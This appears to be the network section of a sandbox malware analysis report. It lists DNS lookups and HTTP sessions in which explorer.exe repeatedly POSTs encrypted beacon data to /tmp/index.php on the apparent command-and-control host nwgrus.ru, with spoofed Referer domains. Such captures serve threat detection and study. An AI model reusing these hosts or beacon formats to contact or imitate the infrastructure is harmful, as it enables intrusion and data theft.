Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:23:35.318507910 CEST	1.1.1.1	192.168.2.6	0xea0e	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:24:15.632531881 CEST	1.1.1.1	192.168.2.6	0x158c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:24:15.632531881 CEST	1.1.1.1	192.168.2.6	0x158c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:24:19.708350897 CEST	1.1.1.1	192.168.2.6	0x4d31	No error (0)	ninjahallnews.com		23.145.40.168	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		190.98.23.157	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		109.98.58.98	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		160.177.223.165	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		200.45.93.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		211.168.53.110	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		211.171.233.126	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		116.58.10.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 18:26:16.345263958 CEST	1.1.1.1	192.168.2.6	0x9d3a	No error (0)	nwgrus.ru		189.165.155.245	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

23.145.40.164

https:

ninjahallnews.com

ajlkwtshfrbwcj.com

nwgrus.ru

lmqmhcivixmahfcs.com

eqlgmwxqcstymthl.net

uajyyjejyvvbvl.org

fcbqaeiodmerjjce.net

uqyhewsqgme.net

mcnivsvqoyuiyi.com

snlvxdcuggcgtr.com

rcayuliatuydngjp.net

gxhoywsjvhdimib.org

hnkujwopesopy.org

gcsggiqiypjqctoh.net

swrrssmuceopwlwv.com

mcrofbggconl.net

euadhmjtligscip.net

oratgvwctswjsrg.com

jukynnhymwnwl.org

pithrelifcqallw.net

kdahnseejtpvc.org

umfnnmmrmjakpw.org

hjaonoqsbnhieap.net

kfntyderqkkh.net

bpuffphxcjr.net

evwfmjkyovghciew.net

dxitdoiirfghic.org

goilbsuxbgu.com

bmhunjcauidhfjas.com

ehqwwnwmwdh.net

oawojikvjxqxudp.com

xlurbvunmfixk.org

kamxftfsfgaby.com

oqmylvnapebvw.com

hyeljwvkydclsem.net

ovnkboilnwpev.org

elavhytildeantb.net

qvpxnipvuyciicri.org

nsxfaafbvsvkfwb.net

euvycibbjmraba.com

istrtdmsewdifyn.com

chihuprqnvownoad.org

muicqrvubdhbsy.org

xfevllovssfdblv.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49836	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:26.761815071 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ajlkwtshfrbwcj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: nwgrus.ru
Oct 8, 2024 18:23:26.761830091 CEST	299	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 49 24 fb be Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA .[k,vuI$jLwYM7]0Ae]U&0Y9t@FK8Nm5,6mDXGG5KL^Pv1@g0.RwAD+
Oct 8, 2024 18:23:27.749219894 CEST	152	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:27 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 04 00 00 00 72 e8 87 ec Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49842	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:27.790044069 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lmqmhcivixmahfcs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 350 Host: nwgrus.ru
Oct 8, 2024 18:23:27.790143013 CEST	350	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 65 34 f8 83 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vue4s@a:.?owEvR>V3?Rv_OOY\&#5vOo:wL[>o5%V'&UyDYczyKC#
Oct 8, 2024 18:23:28.876461029 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49843	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:28.886717081 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eqlgmwxqcstymthl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: nwgrus.ru
Oct 8, 2024 18:23:28.886749983 CEST	364	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 31 0d ee e6 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu1j]wkdNn4 :8zaa?T1mM?JEB'\CFN'W6xNh9)DSGP(Ws@:
Oct 8, 2024 18:23:29.763870001 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:29 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	61260	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:30.614135027 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uajyyjejyvvbvl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: nwgrus.ru
Oct 8, 2024 18:23:30.614164114 CEST	110	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 31 22 e0 92 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu1"lv~kpc
Oct 8, 2024 18:23:31.471081972 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:31 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	61270	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:31.481729031 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fcbqaeiodmerjjce.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 250 Host: nwgrus.ru
Oct 8, 2024 18:23:31.481729031 CEST	250	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 7c 00 fd a8 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu\|LRdyTPS>rf#jLTgDLCb_UGou2XID(,Smc;@D}uG&yCfh!
Oct 8, 2024 18:23:32.360177994 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:32 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	61279	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:32.370985031 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uqyhewsqgme.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: nwgrus.ru
Oct 8, 2024 18:23:32.371001005 CEST	129	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 50 1a be e8 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vuPt SYze^yS=wl@
Oct 8, 2024 18:23:33.234069109 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:33 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	61297	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:35.327059984 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mcnivsvqoyuiyi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: nwgrus.ru
Oct 8, 2024 18:23:35.327059984 CEST	197	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 4c 02 a7 af Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vuLI%wE{Jv#f`Ad"\|KZ@_U>Q2>D%0,+wAs,l-3Xvl
Oct 8, 2024 18:23:36.223494053 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:36 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	61302	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:36.233551979 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://snlvxdcuggcgtr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: nwgrus.ru
Oct 8, 2024 18:23:36.233597994 CEST	166	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 3a 44 bd e1 Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu:DZXEFf'm~4hfh,?AVdWTD>780Z/1"d2`
Oct 8, 2024 18:23:37.095662117 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	61308	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:37.103588104 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rcayuliatuydngjp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: nwgrus.ru
Oct 8, 2024 18:23:37.103601933 CEST	234	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 7b 58 c5 ae Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu{XX_Q[P4`DWhyrsPR:`Y5`/0,R]:a)goRW%3rzzDIsY#y\|Eg!V0
Oct 8, 2024 18:23:38.048799992 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:37 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	61315	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:38.059118032 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gxhoywsjvhdimib.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 253 Host: nwgrus.ru
Oct 8, 2024 18:23:38.059129953 CEST	253	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 38 45 c7 eb Data Ascii: ;nRfkVp{yyisjuyCk*)ud+l?!0jHYcM@NA -[k,vu8E@c+YBqbfMKkSo82HBHVjY,0{i'''V:/@S3A\|yAOYR@kG10(+
Oct 8, 2024 18:23:38.938122034 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 16:23:38 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	61321	160.177.223.165	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:23:38.954802990 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hnkujwopesopy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 158 Host: nwgrus.ru
Oct 8, 2024 18:23:38.954817057 CEST	158	OUT	Data Raw: 3b 6e 52 66 84 bc 6b 56 d6 a9 b2 01 03 70 7b bb 79 79 cd 90 69 73 e5 6a 0f 75 79 97 43 c7 c7 6b 92 2a c1 29 75 64 2b 6c ed 9d 3f c6 21 30 d8 ed 6a bf 48 59 bf 63 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 23 3f e7 a8 Data Ascii: ;nRfkVp{yyisjuyCk)ud+l?!0jHYcM@NA -[k,vu#?adQbrFx8wh@C^RG(dlC?F_P7X
